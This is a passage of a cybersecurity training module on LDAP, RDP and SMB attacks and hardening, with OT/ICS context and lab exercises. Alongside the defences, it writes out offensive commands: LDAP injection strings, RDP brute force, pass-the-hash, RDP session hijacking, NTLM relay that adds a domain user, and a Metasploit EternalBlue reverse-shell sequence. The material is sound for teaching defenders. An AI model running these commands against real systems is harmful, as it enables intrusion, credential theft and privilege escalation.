  (&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(userAccountControl:1.2.840.113556.1.4.803:=4194304))
                                  AS-REP Roasting targets (no pre-auth required)

9.2 LDAP in Attack Workflows

Anonymous LDAP Bind (Null Bind):

# Check if null bind (anonymous authentication) is allowed:
ldapsearch -x -H ldap://target_dc -b "" -s base "(objectClass=*)" namingContexts
# -x: simple authentication
# -H: LDAP server URI
# -b "": search base (empty for root DSE)
# -s base: scope = base only
# If success: shows naming contexts (domain names) without credentials

# Check if null bind allows reading AD:
ldapsearch -x -H ldap://192.168.1.10 -b "DC=company,DC=com" "(objectClass=user)" sAMAccountName
# If returns user list without credentials: critical misconfiguration

Authenticated LDAP Enumeration:

# With valid domain credentials (regular user is enough):
ldapsearch -x -H ldap://dc.company.com \
    -D "CN=john,OU=Users,DC=company,DC=com" \
    -w password \
    -b "DC=company,DC=com" \
    "(objectClass=user)" \
    sAMAccountName mail memberOf

# Find Domain Admins:
ldapsearch -x -H ldap://dc.company.com \
    -D "john@company.com" -w password \
    -b "DC=company,DC=com" \
    "(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Builtin,DC=company,DC=com))" \
    sAMAccountName

# Find Kerberoastable accounts (have SPN):
ldapsearch -x -H ldap://dc.company.com \
    -D "john@company.com" -w password \
    -b "DC=company,DC=com" \
    "(servicePrincipalName=*)" \
    sAMAccountName servicePrincipalName

# PowerShell (Windows):
# Get-ADUser -Filter * -Properties * | Select sAMAccountName,Enabled,PasswordNeverExpires
# Get-ADGroupMember "Domain Admins" | Select Name,SamAccountName

Tools for LDAP/AD Enumeration:

# BloodHound — graphical AD attack path analysis
# Requires: BloodHound + Neo4j database
# SharpHound collector (run on Windows):
.\SharpHound.exe -c All                # Collect all data

# BloodHound.py (Python, run from Linux):
bloodhound-python -u john -p password -d company.com -dc dc.company.com -c All

# Import to BloodHound GUI and find:
# - Shortest path to Domain Admin
# - Users with never-expiring passwords
# - Kerberoastable accounts
# - AS-REP Roastable accounts

# ldapdomaindump — comprehensive AD dump:
ldapdomaindump -u company\\john -p password dc.company.com
# Outputs HTML/JSON reports of all users, computers, groups, GPOs

# PowerView (PowerShell, requires domain user):
# Import-Module PowerView.ps1
# Get-DomainUser
# Get-DomainGroupMember "Domain Admins"
# Get-DomainComputer
# Invoke-Kerberoast -OutputFormat Hashcat

LDAP Injection:

If an application builds LDAP queries from user input without sanitisation:

Vulnerable query construction:
  (&(objectClass=user)(sAMAccountName=USERINPUT))

User input: admin)(&)
Resulting query: (&(objectClass=user)(sAMAccountName=admin)(&))
Effect: bypass authentication (always true)

User input: *
Resulting query: (&(objectClass=user)(sAMAccountName=*))
Effect: returns ALL users (information disclosure)

Test for LDAP injection:
  In login username field: *)(&
  In search fields: *)(objectClass=*

Tools: 
  Burp Suite: manually modify parameters and observe response
  LDAPi: LDAP injection testing tool

Key Insight: LDAP is the query language for Active Directory — the identity backbone of every enterprise. Any user with a domain account can query LDAP extensively. This is by design (employees need to look up contacts). But it means every domain user can enumerate all users, computers, groups, and service accounts. BloodHound leverages LDAP enumeration to graphically display every privilege escalation path to Domain Admin. In OT environments, LDAP queries from OT machines to the corporate AD represent a data flow that attackers exploit for lateral movement.

10. RDP — Remote Desktop Protocol

10.1 RDP Architecture

RDP (Remote Desktop Protocol) provides graphical remote access to Windows systems. It runs over TCP port 3389 (and UDP 3389 for enhanced performance in RDP 8+).

RDP connection establishment:
1. TCP handshake (port 3389)
2. RDP Connection Request — negotiates protocols
3. Server sends X.224 Connection Confirm
4. Negotiates security: SSL/TLS, CredSSP (NLA), or RDP security
5. License exchange (server verifies client licenses)
6. Capabilities exchange (color depth, audio, clipboard, drive redirection)
7. Authentication (CredSSP/NLA sends credentials before desktop)
8. Channel setup (virtual channels for clipboard, audio, drive, printer)
9. Bitmap updates begin — graphical desktop sent

Security mechanisms:
  Classic RDP security: RC4 encryption of bitmap data (WEAK — deprecated)
  TLS: Transport layer encryption (better)
  Network Level Authentication (NLA): Credentials authenticated BEFORE
      desktop loads. Server validates user before creating session.
      Prevents unauthenticated resource exhaustion.

10.2 RDP Vulnerabilities

BlueKeep (CVE-2019-0708):

Discovery: May 2019, Microsoft
Severity: CVSS 9.8 — Critical
Affected: Windows XP, Vista, 7, Server 2003, Server 2008, Server 2008 R2
Impact: Remote code execution, no authentication required, wormable

How it works:
  RDP uses "channels" for different data types
  MS_T120 channel — a bug in how RDP handles this channel's binding
  Attacker sends malformed MS_T120 bind request
  Use-after-free vulnerability in the RDP driver (rdpwdd.sys)
  Achieves kernel-level code execution

Why it was terrifying:
  - No credentials required (pre-auth)
  - No user interaction
  - Kernel-level (SYSTEM) compromise
  - Wormable — could spread automatically (like WannaCry)
  - ~1 million vulnerable systems exposed to internet at time of disclosure
  - Microsoft issued patches for out-of-support Windows XP (first time since 2014)

Exploitation:
  Metasploit module: exploit/windows/rdp/cve_2019_0708_bluekeep_rce
  Public PoCs available

Mitigations:
  Patch (KB4499175 for Server 2008, KB4499180 for Windows 7)
  Enable NLA (unauthenticated connection attempt rejected before code reaches vulnerability)
  Block external RDP (firewall port 3389 from internet)
  Disable RDP if not needed

DejaBlue (CVE-2019-1181, CVE-2019-1182):

Discovery: August 2019 (two months after BlueKeep)
Affected: Windows 8, 10, Server 2012, 2016, 2019 (newer systems — BlueKeep missed these)
Impact: Pre-auth, unauthenticated RCE (same class as BlueKeep)
Wormable: Yes
Mitigation: Patch (August 2019 Patch Tuesday)

PrintNightmare via RDP (CVE-2021-1675, CVE-2021-34527):

While a different vulnerability (Print Spooler), RDP was often the initial access vector:
  1. BlueKeep/DejaBlue for initial RDP access
  2. PrintNightmare for privilege escalation to SYSTEM
  Combined: full attack chain from network to SYSTEM

10.3 RDP Attack Techniques

# Scan for RDP:
nmap -sV -p 3389 192.168.1.0/24
nmap -sV -p 3389 --script rdp-enum-encryption target_ip

# Check encryption level and NLA requirement:
nmap --script rdp-enum-encryption -p 3389 target_ip
# Outputs supported security protocols

# Brute force RDP:
hydra -L users.txt -P passwords.txt rdp://target_ip
crowbar -b rdp -s target_ip -u admin -C passwords.txt

# Check BlueKeep vulnerability:
nmap --script rdp-vuln-ms12-020 -p 3389 target_ip
# Or use Metasploit scanner:
# use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
# set RHOSTS target_ip
# run

# RDP screenshot without credentials (if CredSSP disabled):
# nmap script or specific PoC tools

# Pass-the-Hash via RDP:
# With NTLM hash (not password):
xfreerdp /u:Administrator /pth:NTLM_HASH /v:target_ip
# This works when NLA uses NTLM authentication (not Kerberos)

# Capture RDP credentials from network (requires MITM position):
# Seth: https://github.com/SySS-Research/Seth
# Performs MITM, downgrades RDP security, captures credentials
python seth.py eth0 target_ip gateway_ip

RDP Session Hijacking:

On a Windows system as SYSTEM, you can hijack existing RDP sessions
without knowing the user's password:

# List all sessions:
query session        # or: qwinsta

# Output:
# SESSIONNAME  USERNAME  ID  STATE   TYPE   DEVICE
# console      alice     1   Active
# rdp-tcp#0    bob       2   Active

# Hijack Bob's session (as SYSTEM, no password needed):
tscon 2 /dest:console
# This moves Bob's session to the console, giving you his desktop as Bob
# Bob gets disconnected

# Alternative method:
sc create MyService binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#3"
net start MyService
# Creates a service as SYSTEM, executes tscon as SYSTEM → hijack

# This is used for:
# - Lateral movement (pivot from low-privilege RDP session to higher-privilege)
# - Credential access (Bob's session has his email, credentials cached)
# - Persistence (maintain access through legitimate-looking session)

10.4 RDP Hardening

1. Require Network Level Authentication (NLA):
   gpedit.msc → Computer Configuration → Windows Settings →
   Security Settings → Local Policies → Security Options →
   "Require user authentication for remote connections" → Enabled

   Or via registry:
   HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
   UserAuthentication = 1

2. Limit RDP access by firewall:
   Only allow RDP from specific management IPs
   Never expose RDP to the internet directly

3. Use RDP Gateway:
   HTTPS-based gateway for RDP access from internet
   Single point with MFA, audit logging, session recording

4. Restrict user accounts that can RDP:
   Only specific accounts in "Remote Desktop Users" group
   Never allow default Administrator account to RDP

5. Account lockout policy:
   Lock account after 5 failed attempts for 30 minutes
   Mitigates brute force

6. Idle session limits:
   Disconnect idle sessions (prevent session hijacking window)
   "Set time limit for disconnected sessions" = 1 hour

7. RDP on non-standard port (minimal security benefit):
   Reduces automated scanning noise, but determined attacker scans all ports
   Not a substitute for any real control

8. Enable RDP logging:
   Event IDs:
   4624 (Logon Type 10): Successful RDP logon
   4625: Failed RDP logon
   4778: RDP session reconnected
   4779: RDP session disconnected

Key Insight: RDP is the single most exposed Windows service on the internet. Over 3.5 million RDP endpoints are directly exposed to the internet (Shodan, 2024). BlueKeep, DejaBlue, and a series of subsequent vulnerabilities have repeatedly demonstrated pre-authentication RCE against RDP. The only acceptable exposure posture is: RDP never directly on internet, always through VPN or RDP Gateway with MFA, NLA mandatory, account lockout active.

11. SMB — Server Message Block

11.1 SMB Architecture

SMB (Server Message Block) is the Windows file and printer sharing protocol. It enables:

File and directory access across the network
Printer sharing
Named pipes (inter-process communication, including RPC)
Authentication via NTLM or Kerberos

SMB Ports:
  TCP 445: Direct SMB (modern, preferred)
  TCP 139: SMB over NetBIOS Session Service (legacy)
  UDP 137: NetBIOS Name Service
  UDP 138: NetBIOS Datagram Service

SMB Versions:
  SMB 1.0 (1983): Original. No encryption. Multiple critical vulnerabilities.
                  MUST be disabled everywhere. EternalBlue exploits SMBv1.
  SMB 2.0 (2006): Vista/Server 2008. Significantly improved performance and security.
  SMB 2.1 (2010): Windows 7/Server 2008 R2. Minor improvements.
  SMB 3.0 (2012): Windows 8/Server 2012. Encryption support (AES-128-CCM).
  SMB 3.0.2 (2014): Improvements.
  SMB 3.1.1 (2015): Windows 10/Server 2016. Pre-authentication integrity,
                    AES-128-GCM encryption, secure negotiation.

11.2 SMB Authentication — NTLM and Kerberos

SMB authentication uses either NTLM (challenge-response) or Kerberos. Understanding the authentication flow is essential because it is the foundation of many Windows attack techniques.

NTLM Authentication Flow:

Client                                    Server
  │                                          │
  │──── Session Setup (NTLMSSP_NEGOTIATE) →  │
  │                                          │
  │ ←── Challenge (8-byte random nonce) ──── │
  │                                          │
  │──── Response ───────────────────────→    │
  │     NT Hash = MD4(password)              │
  │     Response = HMAC-MD5(NT_Hash,         │
  │                challenge + client_nonce)  │
  │     Username, domain, workstation        │
  │                                          │
  │   [Server validates response with DC]    │
  │ ←── Session Setup Response ──────────── │

Pass-the-Hash:

Attack discovered by Paul Ashton, 1997:
  NTLM authentication uses the NT Hash of the password, not the password itself
  If attacker obtains the NT Hash (from memory dump, SAM, NTDS.dit):
  Attacker can authenticate AS THAT USER without knowing the password

Tools:
  impacket-smbexec: smbexec.py -hashes ':NTLM_HASH' DOMAIN/Administrator@target
  impacket-wmiexec: wmiexec.py -hashes ':NTLM_HASH' DOMAIN/Administrator@target
  CrackMapExec: cme smb target -u Administrator -H NTLM_HASH
  Mimikatz (local PTH): sekurlsa::pth /user:Administrator /domain:. /ntlm:HASH /run:cmd

  pth-winexe (Kali): pth-winexe -U Administrator%HASH //target cmd.exe

NTLM Relay Attack:

Attack:
  NTLM authentication can be relayed to another host
  If victim authenticates to attacker, attacker relays credentials to a third server
  Attacker gains access to third server AS the victim user

Scenario:
  1. Attacker runs Responder (LLMNR/NBT-NS poisoner)
  2. Victim's machine tries to connect to \\mistyped-server
  3. LLMNR broadcast: "Who is mistyped-server?"
  4. Responder answers: "I am mistyped-server"
  5. Victim sends NTLM authentication to Responder/attacker
  6. Attacker relays this authentication to real target server (e.g., DC)
  7. Attacker gains access to target server as victim user

  If victim is Domain Admin: attacker gets Domain Admin on the target

Tool: impacket ntlmrelayx
ntlmrelayx.py -tf targets.txt -smb2support
# While Responder captures hashes, ntlmrelayx relays them

# Combined attack:
# Terminal 1: responder -I eth0 -A (analyse mode, no poisoning — ntlmrelayx does that)
# Terminal 2: ntlmrelayx.py -tf targets.txt -smb2support
# Or for domain admin: ntlmrelayx.py -tf dcs.txt -smb2support -c "net user attacker Password1 /add /domain"

11.3 EternalBlue — The Most Destructive Exploit in History

CVE-2017-0144 (EternalBlue):
  Discovered by: NSA (leaked by Shadow Brokers, April 2017)
  Patched: MS17-010 (March 2017, before Shadow Brokers leak)

  Vulnerability: SMBv1 transaction handling buffer overflow
  Impact: Remote code execution as SYSTEM, no authentication required

  WannaCry (May 2017):
    Used EternalBlue + DoublePulsar (NSA backdoor installer)
    200,000 victims in 150 countries in 72 hours
    NHS UK: 80 hospitals affected, surgeries cancelled, patient records inaccessible
    Telefónica, FedEx, Renault, Deutsche Bahn, Russia's Interior Ministry
    Total damage: $4 billion+

  NotPetya (June 2017):
    Also used EternalBlue
    Disguised as ransomware, actually a destructive wiper
    Specifically targeted Ukraine but spread globally
    Maersk: $300 million loss, had to reinstall 45,000 PCs, 4,000 servers, 2,500 apps
    Merck: $870 million loss
    FedEx (TNT): $400 million loss
    Total damage: $10 billion+
    Classified as "most destructive cyberattack in history"

  Key lesson: Unpatched SMBv1 was the entry point.
              The vulnerability was known and patched before WannaCry.
              Both attacks were entirely preventable.

11.4 SMB Enumeration and Attacks

# Check SMBv1 status:
nmap --script smb-protocols -p 445 target_ip
# Output shows supported SMB versions

# Check for EternalBlue vulnerability:
nmap --script smb-vuln-ms17-010 -p 445 target_ip

# List SMB shares (null session):
smbclient -L //target_ip -N              # -N = no password (null session)
smbclient -L //target_ip -U anonymous   # Anonymous authentication

# List shares with credentials:
smbclient -L //target_ip -U username%password
impacket-smbclient username:password@target_ip

# CrackMapExec — comprehensive SMB assessment:
cme smb 192.168.1.0/24                              # Enumerate all SMB hosts
cme smb 192.168.1.100 -u admin -p password          # Authenticate
cme smb 192.168.1.100 -u admin -p password --shares # List shares
cme smb 192.168.1.100 -u admin -p password --users  # List domain users
cme smb 192.168.1.100 -u admin -p password --groups # List groups
cme smb 192.168.1.100 -u admin -p password -x "ipconfig" # Execute command

# Check SMB signing:
nmap --script smb2-security-mode -p 445 192.168.1.0/24
cme smb 192.168.1.0/24 --gen-relay-list relay_targets.txt
# "Message signing enabled but not required" = vulnerable to NTLM relay

# Enumerate shares and find readable ones:
smbmap -H target_ip                                # List all shares + permissions
smbmap -H target_ip -u admin -p password -R        # Recursive listing

# Access a share:
smbclient //target_ip/share_name -U username%password
# smb: \> ls         ← list files
# smb: \> get file   ← download file
# smb: \> put file   ← upload file

# Exploit EternalBlue with Metasploit:
# use exploit/windows/smb/ms17_010_eternalblue
# set RHOSTS target_ip
# set PAYLOAD windows/x64/meterpreter/reverse_tcp
# set LHOST your_ip
# run

SMB Hardening:

# Disable SMBv1 (Windows Server):
Set-SmbServerConfiguration -EnableSMB1Protocol $false
Get-SmbServerConfiguration | Select EnableSMB1Protocol  # Verify

# Or via registry:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" `
    SMB1 -Type DWORD -Value 0

# Enable SMB signing (prevents NTLM relay):
Set-SmbServerConfiguration -RequireSecuritySignature $true
Set-SmbClientConfiguration -RequireSecuritySignature $true

# Enable SMB encryption (SMB 3.0+):
Set-SmbServerConfiguration -EncryptData $true
# This encrypts all SMB traffic, prevents sniffing of file contents

# Restrict anonymous access:
Set-SmbServerConfiguration -RestrictNullSessions $true

# Disable guest access:
Set-SmbServerConfiguration -EnableSMBGuestLogon $false

# Windows Firewall — block SMBv1 specifically:
# Block TCP 139 (NetBIOS Session Service — SMBv1 path)
New-NetFirewallRule -DisplayName "Block SMBv1" -Direction Inbound -Protocol TCP -LocalPort 139 -Action Block

# Audit SMB events:
Get-WinEvent -LogName "Microsoft-Windows-SMBServer/Security" | Select-Object -First 20

Key Insight: SMBv1 caused WannaCry and NotPetya — the two most destructive cyberattacks in recorded history, totalling $14 billion in damages. SMBv1 should not exist anywhere in 2026. NTLM relay attacks exploit the absence of SMB signing — present in most enterprise networks by default. Any network where SMB signing is not required is vulnerable to complete credential relay chains that require only a foothold anywhere on the network.

12. Protocol Security Matrix

Protocol  Port(s)   Encryption      Auth           Known Attacks           Replace With
─────────────────────────────────────────────────────────────────────────────────────────
HTTP      80/TCP    NONE            None/Cookie    MITM, session hijack,   HTTPS
                                                  cleartext creds
HTTPS     443/TCP   TLS             Certificate    TLS downgrade, cert      Enforce TLS 1.2+,
                                   + app auth     spoofing, MITM (weak)   HSTS, cert pinning
FTP       21/TCP    NONE            Cleartext      Credential capture,      SFTP or FTPS
                   (FTPS: TLS)                    bounce attack
SFTP      22/TCP    SSH             SSH key/pass   Brute force (if pass)   —
SMTP      25/TCP    Optional        Optional       Spoofing, relay,        SPF+DKIM+DMARC,
          587/TCP   (STARTTLS)      (STARTTLS)     credential brute        enforce TLS
POP3      110/TCP   NONE            Cleartext      Credential capture       POP3S (995)
IMAP      143/TCP   NONE            Cleartext      Credential capture       IMAPS (993)
SSH       22/TCP    Yes             Key/Pass       Brute force, key theft   Key-only auth
Telnet    23/TCP    NONE            Cleartext      Credential capture       SSH
SNMP v1   161/UDP   NONE            Community str  Community brute force    SNMPv3 authPriv
SNMP v2c  161/UDP   NONE            Community str  Amplification DDoS      SNMPv3 authPriv
SNMP v3   161/UDP   AES (authPriv)  User + HMAC    Brute force (rare)      —
NTP       123/UDP   NONE (NTPsec)   None/symmetric Amplification, poison    NTPsec/auth NTP
LDAP      389/TCP   NONE            Bind           Injection, null bind     LDAPS (636)
LDAPS     636/TCP   TLS             Bind + TLS     Brute force             —
RDP       3389/TCP  TLS/CredSSP     Password/NLA   BlueKeep, brute force   NLA + VPN + MFA
SMB 1     445/TCP   NONE            NTLM           EternalBlue, relay      Disable SMBv1
SMB 3     445/TCP   Optional AES    NTLM/Kerberos  Relay (if no signing)   SMB signing + encrypt

13. OT/ICS Protocol Context

13.1 How These Protocols Appear in Industrial Environments

Industrial networks are not isolated from the protocols covered in this module. Here is the reality of their presence in OT environments:

Protocol     OT Presence                           Risk Level
─────────────────────────────────────────────────────────────────────────
HTTP         HMI web interfaces (WebHMI, iFIX Web) HIGH — often no TLS
             Historian web reporting interfaces    Often no auth on LAN
             PLC web configuration pages          Default credentials common
             Building automation (BACnet/SC)

HTTPS        Modern OT web interfaces (OPC-UA)    Medium — if cert is self-signed
             Remote access portals                and not validated: MITM possible

FTP          PLC firmware upload/download         CRITICAL — cleartext,
             Configuration backup/restore         often anonymous
             Some HMI data export                Default credentials

SFTP         Rare in OT — some modern historians  Low — if properly configured
             Modern engineering workstations

SMTP         SCADA alarm email notifications      Low direct risk
             Historian report emailing            But source for phishing

SSH          Modern managed switch management     Medium
             Engineering workstation access       Brute force if weak creds
             Some modern PLC SSH access

Telnet       Most common management protocol      CRITICAL — cleartext
             on legacy industrial switches        credential exposure
             Some legacy PLCs/RTUs               Often default credentials
             Network-accessible PLCs (Siemens)

SNMP v1/v2c  Virtually all industrial switches    HIGH — exposes full
             Industrial UPS systems               network topology
             Environmental monitoring             Read-write = config control
             Building automation devices

NTP          Time sync for SCADA servers          MEDIUM — desync = system
             IEEE 1588/PTP for protection relays  instability in OT
             PMU data timing

LDAP         SCADA servers joined to AD domain    MEDIUM — if path to OT
             Engineering workstations             from corporate AD exists

RDP          HMI remote access (common!)          HIGH — often internet-exposed
             SCADA server management              BlueKeep risk on older OT OS
             Engineering workstation access       Windows XP/7 common in OT

SMB          Windows-based SCADA file sharing     HIGH — WannaCry hit OT
             Historian data export                NotPetya destroyed OT networks
             Engineering workstation file access  SMBv1 common on legacy OT OS

13.2 Protocol Risk in OT — Special Considerations

HMI Web Interfaces — HTTP Without TLS:

Many SCADA and HMI systems include web servers for remote monitoring that run over HTTP with no authentication — by design, for operational simplicity. An attacker on the OT network can:

View real-time process values
Sometimes modify setpoints
Always gather intelligence about the process

RDP on Windows XP/Windows 7 in OT:

Windows XP and Windows 7 are still common operating systems for HMI and SCADA workstations in industrial environments due to:

Long hardware lifecycles (equipment purchased in 2005 still operational)
Vendor support contracts tied to specific OS versions
Concerns about patching stability in operational environments

These systems are vulnerable to BlueKeep and DejaBlue (pre-auth RDP RCE). Combined with often-absent network segmentation and monitoring, this represents a severe risk.

SMBv1 in OT:

WannaCry specifically impacted industrial environments in 2017:

Honda closed production lines in Japan
Renault halted production at multiple plants
NHS medical equipment running Windows XP was infected

The lesson was not universally learned. SMBv1 still exists in OT environments where patching is avoided.

14. Hands-On Exercises

Exercise 1: HTTP/HTTPS Analysis (45 minutes)

# Analyse HTTP headers for security issues

TARGET="http://testphp.vulnweb.com"  # Intentionally vulnerable test site

# Check HTTP headers:
curl -sI $TARGET | tee /tmp/http_headers.txt

# Analyse security headers:
echo "=== Security Header Analysis ==="
for header in "Strict-Transport-Security" "Content-Security-Policy" \
              "X-Frame-Options" "X-Content-Type-Options" "Referrer-Policy" \
              "Permissions-Policy"; do
    result=$(grep -i "$header" /tmp/http_headers.txt)
    if [ -z "$result" ]; then
        echo "[MISSING] $header"
    else
        echo "[PRESENT] $result"
    fi
done

# Check for server version disclosure:
echo "=== Information Disclosure ==="
grep -iE "Server:|X-Powered-By:|X-AspNet-Version:" /tmp/http_headers.txt

# Test HTTP methods:
echo "=== HTTP Methods ==="
curl -sI -X OPTIONS $TARGET | grep -i "allow:"
curl -sI -X TRACE $TARGET | head -5    # TRACE should be disabled

# Check TLS configuration (if HTTPS):
TARGET_HTTPS="https://badssl.com"
echo "=== TLS Configuration ==="
openssl s_client -connect badssl.com:443 -brief 2>/dev/null | head -10
nmap --script ssl-enum-ciphers -p 443 badssl.com 2>/dev/null | grep -E "TLSv|ciphers"

Exercise 2: SMTP Enumeration and Security Check (30 minutes)

# SMTP security assessment

TARGET_MX="mail.google.com"   # Use your own domain for testing

# Check MX records:
echo "=== MX Records ==="
dig MX $TARGET_MX +short 2>/dev/null || echo "Direct mail server test"

# Test SMTP connection and capabilities:
echo "=== SMTP Banner and EHLO ==="
timeout 5 bash -c "echo 'EHLO test.com' | nc -w 3 mail.google.com 25" 2>/dev/null \
    || echo "Port 25 filtered (expected for gmail)"

# Use swaks for comprehensive SMTP test:
# swaks --to test@yourdomain.com --from test@external.com --server mail.yourdomain.com

# Check SPF/DKIM/DMARC for multiple domains:
for domain in google.com microsoft.com amazon.com; do
    echo ""
    echo "=== Email security for $domain ==="

    spf=$(dig TXT $domain +short | grep "v=spf1")
    dmarc=$(dig TXT _dmarc.$domain +short | grep "v=DMARC1")

    [ -n "$spf" ] && echo "SPF: $spf" || echo "SPF: NOT FOUND"
    [ -n "$dmarc" ] && echo "DMARC: $dmarc" || echo "DMARC: NOT FOUND"
done

Exercise 3: SSH Security Assessment (45 minutes)

# SSH security configuration audit

TARGET_SSH="localhost"  # Test on your own system

# Scan SSH version and algorithms:
echo "=== SSH Version ==="
ssh -V 2>&1
nc -w 3 $TARGET_SSH 22 2>/dev/null | head -1

# Check supported algorithms:
echo "=== Supported Algorithms ==="
nmap --script ssh2-enum-algos -p 22 $TARGET_SSH 2>/dev/null

# Check sshd configuration for security issues:
echo "=== SSH Configuration Audit ==="
sudo grep -E "PermitRootLogin|PasswordAuthentication|MaxAuthTries|
    X11Forwarding|AllowTcpForwarding|LoginGraceTime|
    PermitEmptyPasswords|Ciphers|MACs|KexAlgorithms" \
    /etc/ssh/sshd_config | grep -v "^#"

# Generate secure keys:
echo "=== Generate Ed25519 Key ==="
ssh-keygen -t ed25519 -f /tmp/test_key -N "" -C "test@bytewall"
echo "Private key fingerprint:"
ssh-keygen -lf /tmp/test_key
echo "Public key:"
cat /tmp/test_key.pub
rm -f /tmp/test_key /tmp/test_key.pub

# Monitor SSH authentication attempts:
echo "=== Recent SSH Authentication Events ==="
sudo grep -E "Accepted|Failed|Invalid" /var/log/auth.log 2>/dev/null | tail -20 \
    || sudo journalctl -u ssh --since "1 hour ago" 2>/dev/null | tail -20

Exercise 4: SNMP Enumeration (30 minutes)

# SNMP reconnaissance toolkit

TARGET="demo.snmplabs.com"   # Public SNMP demo server

# Test common communities:
echo "=== Testing Common Community Strings ==="
for community in public private community snmp manager; do
    result=$(snmpget -v2c -c $community -t 2 $TARGET 1.3.6.1.2.1.1.1.0 2>/dev/null)
    if [ $? -eq 0 ]; then
        echo "[FOUND] Community: '$community'"
        echo "System: $result"
        break
    else
        echo "[FAILED] Community: '$community'"
    fi
done

# Full enumeration if community found:
echo ""
echo "=== System Information ==="
snmpwalk -v2c -c public $TARGET 1.3.6.1.2.1.1 2>/dev/null

echo "=== Network Interfaces ==="
snmpwalk -v2c -c public $TARGET 1.3.6.1.2.1.2.2.1.2 2>/dev/null | head -10

echo "=== IP Addresses ==="
snmpwalk -v2c -c public $TARGET 1.3.6.1.2.1.4.20 2>/dev/null

# Check for monlist vulnerability (NTP amplification):
echo ""
echo "=== NTP Monlist Check ==="
TARGET_NTP="pool.ntp.org"
nmap -sU -p 123 --script ntp-monlist $TARGET_NTP 2>/dev/null | grep -E "monlist|vulnerable"

Exercise 5: SMB Security Assessment (45 minutes)

# SMB security assessment on local network (lab only)

TARGET_SMB="localhost"   # Test on your own system or lab VM

# Check SMB version support:
echo "=== SMB Protocol Versions ==="
nmap --script smb-protocols -p 445 $TARGET_SMB 2>/dev/null

# Check security mode (signing):
echo "=== SMB Security Mode ==="
nmap --script smb2-security-mode -p 445 $TARGET_SMB 2>/dev/null

# List available shares (no credentials):
echo "=== Anonymous Share Enumeration ==="
smbclient -L //$TARGET_SMB -N 2>/dev/null || echo "No anonymous access (good)"

# Check for EternalBlue:
echo "=== EternalBlue Vulnerability ==="
nmap --script smb-vuln-ms17-010 -p 445 $TARGET_SMB 2>/dev/null

# Check Windows SMBv1 status (run on Windows host):
# Get-SmbServerConfiguration | Select EnableSMB1Protocol
# Set-SmbServerConfiguration -EnableSMB1Protocol $false

# Build a complete protocol audit script:
cat > /tmp/protocol_audit.sh << 'EOF'
#!/bin/bash
TARGET=${1:-"192.168.1.1"}
echo "Protocol Security Audit: $TARGET"
echo "================================"

check_port() {
    nc -zw 1 $TARGET $1 2>/dev/null && echo "OPEN" || echo "CLOSED/FILTERED"
}

echo "[HTTP]    Port 80:  $(check_port 80)"
echo "[HTTPS]   Port 443: $(check_port 443)"
echo "[FTP]     Port 21:  $(check_port 21)"
echo "[SSH]     Port 22:  $(check_port 22)"
echo "[Telnet]  Port 23:  $(check_port 23)"
echo "[SMTP]    Port 25:  $(check_port 25)"
echo "[IMAP]    Port 143: $(check_port 143)"
echo "[IMAPS]   Port 993: $(check_port 993)"
echo "[LDAP]    Port 389: $(check_port 389)"
echo "[RDP]     Port 3389:$(check_port 3389)"
echo "[SMB]     Port 445: $(check_port 445)"

echo ""
echo "[SNMP]    UDP 161: "
nc -zuw 1 $TARGET 161 2>/dev/null && echo "OPEN" || echo "CLOSED/FILTERED"

echo ""
echo "=== Risk Assessment ==="
nc -zw 1 $TARGET 23 2>/dev/null && echo "[CRITICAL] Telnet is OPEN — cleartext protocol"
nc -zw 1 $TARGET 21 2>/dev/null && echo "[HIGH] FTP is OPEN — cleartext protocol"
nc -zw 1 $TARGET 80 2>/dev/null && echo "[MEDIUM] HTTP is OPEN — check if sensitive data exposed"
nc -zw 1 $TARGET 3389 2>/dev/null && echo "[HIGH] RDP is OPEN — check BlueKeep vulnerability and NLA"
EOF
chmod +x /tmp/protocol_audit.sh
bash /tmp/protocol_audit.sh $TARGET_SMB

15. Module Summary

Protocol	Port(s)	Core Function	Primary Attacks	Critical Defence	OT/ICS Risk
HTTP	80/TCP	Web communication	MITM, session hijack, cleartext creds	Force HTTPS, HSTS	HMI web interfaces often HTTP
HTTPS	443/TCP	Encrypted web	TLS downgrade, Heartbleed, BEAST	TLS 1.3, certificate pinning	Modern OT uses HTTPS, verify TLS config
FTP	21/TCP	File transfer	Credential capture, bounce attack	Replace with SFTP	PLC firmware transfer, config backup
SFTP	22/TCP	Secure file transfer	Brute force	Key-based auth	Preferred for OT where available
SMTP	25,587/TCP	Email sending	Spoofing, open relay, phishing	SPF+DKIM+DMARC+TLS	SCADA alarm notifications
POP3/IMAP	110,143/TCP	Email retrieval	Credential capture	Use TLS variants (993/995)	Email credential exposure
SSH	22/TCP	Secure remote shell	Brute force, key theft, tunnelling	Key-only auth, no root	Modern switch management
Telnet	23/TCP	Cleartext remote shell	Complete session capture	Replace with SSH	ENDEMIC in legacy OT — critical risk
SNMP v1/v2c	161/UDP	Network management	Community brute force, amplification DDoS	SNMPv3 authPriv	CRITICAL — exposes full OT topology
NTP	123/UDP	Time synchronisation	Amplification DDoS, clock poisoning	Authenticated NTP, multiple sources	OT protection relay timing critical
LDAP	389/TCP	Directory queries	Injection, null bind, AD enumeration	LDAPS, disable null bind	Corporate AD → OT lateral movement
RDP	3389/TCP	Graphical remote access	BlueKeep, brute force, relay, session hijack	NLA + VPN + MFA + patch	Windows HMI remote access — common
SMBv1	445/TCP	Legacy file sharing	EternalBlue (WannaCry/NotPetya)	DISABLE — no exceptions	WannaCry hit production OT networks
SMB 3	445/TCP	Modern file sharing	NTLM relay (without signing)	SMB signing required, encryption enabled	Windows SCADA file sharing

Next Module: Stage 1.6 — Network Devices

Previous Module: Stage 1.4 — IP Addressing and Subnetting

Series Index: Full Roadmap

Stage 1.4 — IP Addressing and Subnetting

Rençber AKMAN — Tue, 02 Jun 2026 13:43:31 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 1 — Network Fundamentals

Module: 1.4 — IP Addressing and Subnetting

Level: Beginner → Advanced

Prerequisites: Stage 1.3 — TCP/IP Model

Next Module: 1.5 — Core Protocols

Why IP Addressing Is a Security Skill, Not Just a Network Skill
IPv4 Structure — Octets, Binary, and Everything Underneath
